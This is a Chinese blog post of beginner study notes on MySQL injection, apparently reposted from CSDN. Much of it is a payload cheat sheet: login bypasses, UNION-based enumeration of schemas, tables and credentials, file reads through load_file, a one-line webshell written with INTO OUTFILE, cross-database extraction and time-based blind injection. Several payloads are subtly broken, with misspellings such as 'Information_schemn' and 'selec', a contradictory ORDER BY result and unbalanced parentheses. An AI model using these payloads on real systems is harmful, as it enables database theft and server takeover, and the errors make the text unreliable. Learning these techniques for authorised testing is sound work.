web安全之Mysql注入总结

学习玩小迪渗透后整理的一些最基础的知识点 ,可以帮助入门SQL

1、SQL注入介绍

SQL是什么?

结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。

SQL注入是什么?

通过在⽤户可控的参数中注⼊SQL语法,破坏原有SQL结构,修改原有SQL功能,达到出现意料之外结果的攻击⾏为。

2、Mysql注入

 2.1  数据库理解

默认数据库

 Information_schemn : MySQL5.0以上自带数据库,记录当前MySQL下所有的数据库名,表名,列名信息
       Information_schemn.tables :     表名信息表
       Information_schemn.columns : 列名信息表
       table_name      表名
       column_name  列名
       table_schema  数据库名

2.2 基础注入

(1)字符型:SELECT * FROM Table WHERE id = '1'; 
' 	False
'' 	True
" 	False
"" 	True
\ 	False
\\ 	True

例子:

    SELECT * FROM Articles WHERE id = '1''';
    SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
(2)数字型:SELECT * FROM Table WHERE id = 1;
AND 1 	True
AND 0 	False
AND true 	True
AND false 	False
1-false 	Returns 1 if vulnerable
1-true 	Returns 0 if vulnerable
1*56 	Returns 56 if vulnerable
1*56 	Returns 1 if not vulnerable

例子:

    SELECT * FROM Users WHERE id = 3-2;
(3)登陆型:SELECT * FROM Table WHERE username = '';
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+

例子:

    SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

' or '1' ='1       (闭合单引号  )                        ' or '1' ='1' #   ( 注释后面语句)

注入流程

 获取字段数:order by *(取临界值)

url?id=1用以下方式查询字段数
1' ORDER BY 1--+ 	True
1' ORDER BY 2--+ 	True
1' ORDER BY 3--+ 	True
1' ORDER BY 4--+ 	True
1' ORDER BY 4--+        False- 说明只有四个字段
1' UNION SELECT 1,2,3,4--+ 	


 获取数据库名:

union select database(),2,3,4--+


 获取数据库版本:version()

union select version(),2,3,4--+


 获取表:

 union select table_name,2,3,4 from  Information_schemn.tables where table_schema = '表名'--+


 获取列:
 

union select column_name,2,3,4 from  Information_schemn.columns where table_name = '列名'--+


  获取数据:
 

union select password ,2,3,4 from 表名--+

 2.3文件操作

union select user(),2,3,4--+            #获取数据库用户信息
union select @@version_compile_os(),2,3,4--+            #获取操作系统信息

必备基础

基于root用户权限的注入点的操作
Load_file()    读文件                        Into outfile()    写文件
关于网站路径的获取:
    1.    报错显示(warning)
    2.    谷歌黑客(warning)
    3.    读取配置文件(默认路径)
    4.    漏洞报错(cms爆路径)
    5.    遗留文件(PHP info)
    6.    字典猜解(借助工具)

注入流程

union select load_file('c:/hd.ini'),2,3,4 --+
union select load_file(0x633A2F68642E696E69),2,3,4 --+ #去掉单引号的方法
union select 一句话的编码 ,2,3,4 Into outfile c:/c.php --+ #写入一句话

2.4 防护函数的绕过

魔术引号 :magic_quotes_gpc php.ini开关

安全函数: addslashes()......

去掉引号->编码注入

2.5 MySQL高权限跨库注入

root权限下,网站A无注入点,网站B有MySQL注入,且网站A与网站B的数据库存在同一MYSQl数据库下,这时可以在网站B尽心跨库注入,获取A站的数据。

获取所有数据库名:

union select schema_name ,2,3,4 from information_schema.schemata

获取指定数据库A中表名信息:

union select table_name ,2,3,4 from information_schema.tables where table_schema = 'A'

获取指定表名AA下列名信息:

union select column_name ,2,3,4 from information_schema.columns where table_name = 'AA'

获取指定数据:

union select username ,password,3,4 from A.BB

2.6 请求方式注入

访问方式:

GET:url?a=a&b=b

POST:hackbar的post提交或python写码

COOKIE:抓包,改cookie

POST登录框注入:将注入代码写到登陆框里

COOKIE验证注入:将注入代码写到cookie里

HTTP头部注入:采用burpsuit抓包的方式修改头部任意部位

         *$_SERVER[]函数可以接收访问者的头部信息

         *有的站点的参数会接收数据包内的数据

2.7 参数加解密注入

base64:$id =base64_decode( $_GET['x']);

playload语句要进行base64加密

2.8 盲注——基于时间

常用函数:

ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较

ord(mid((sql),1,1))=num // ord()==ascii()

regexp ‘^[a-z]‘ // 在某些情况下,用正则表达式还是很方便的!

sleep()

if(条件,TRUE,FALSE)

mid(str,1,1)截取字符串

注入流程

limit 0,1 (从第0条记录开始取1条)

and sleep (if((selec length(database())=5),0,5))

and sleep (if((select database()='test'),0,5))

查询表名长度:

union select 1,2,3,sleep(if(length(table_name)=4,0,5)

from information_schema.tables where table_schema=database() limit 0,1

获取表名名字:

union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)

from information_schema.tables where table_schema=database() limit 0,1

2.9 最后分享一个SQL写的不错的网站:

https://websec.ca/kb/sql_injection#MySQL_Default_Databases

猜你喜欢

转载自blog.csdn.net/xlsj228/article/details/90582312
今日推荐